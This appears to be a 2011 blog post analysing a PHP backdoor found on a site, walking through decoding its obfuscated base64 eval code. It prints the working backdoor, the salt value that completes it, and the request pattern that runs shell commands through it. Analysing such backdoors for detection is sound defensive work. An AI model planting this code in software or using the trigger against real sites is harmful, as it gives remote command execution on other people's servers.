I was alerted to this tweet by @andrea_r this morning:
— Scott Basgaard (@scottbasgaard) April 18, 2011
Here’s the code in question:
<?php @$str1 = "0cmVhbT1AJF9HRVRbJz" . $HTTPS_ACCEPT_URLENCODING['KOI8-R']; @$str2 = "B4RkYnXTtAc3lzdGVtK" . $HTTPS_ACCEPT_URLENCODING['WIN-1251']; @$str3 = "CRuZXdzdHJlYW0pOw==" . $HTTP_ACCEPT_URLENCODING['UTF-8']; @eval(base 64_decode($_GET['salt'] . $str1 . $str2 . $str3)); ?>
Decoding this is a rather simple matter. First, we remove the eval line and do a var_dump on the variables. We get this:
>php test.php string(19) "0cmVhbT1AJF9HRVRbJz" string(19) "B4RkYnXTtAc3lzdGVtK" string(19) "CRuZXdzdHJlYW0pOw=="
Notice that the HTTP_ACCEPT_URLENCODING mess is a red herring. It’s there to make it look more legit, sort of thing.
So now we have this string: “0cmVhbT1AJF9HRVRbJzB4RkYnXTtAc3lzdGVtKCRuZXdzdHJlYW0pOw==”. Unfortunately, it is incomplete. Note the “salt” parameter being used in the eval(base 64_decode()) line.
Well, a bit of searching turned up the fact that the salt is supposed to be “JG5ld3N”. So somebody can send a ?salt=JG5ld3N parameter in an HTTP request and get the following string to decode: “JG5ld3N0cmVhbT1AJF9HRVRbJzB4RkYnXTtAc3lzdGVtKCRuZXdzdHJlYW0pOw==”.
So we run that through a base64 decoder and get this:
So it’s just performing a system call on whatever comes in via the 0xFF parameter. Ah ha! It’s a shell backdoor. I can make a hit to example.com?salt=JG5ld3N&0xFF=**any-command-I-want** and have it execute it in the shell.
Fortunately, this is not a particularly well hidden example. The use of “eval” and “base 64_decode” is a dead giveaway, as is the use of unchecked $GET parameters.
Most likely, Scott got hacked through either bad permissions on a shared server or somebody got ahold of his FTP credentials somehow. It’s hard to say without seeing his server logs, but checking through all files on the system is probably a good idea.
As always, the Codex has some good suggestions.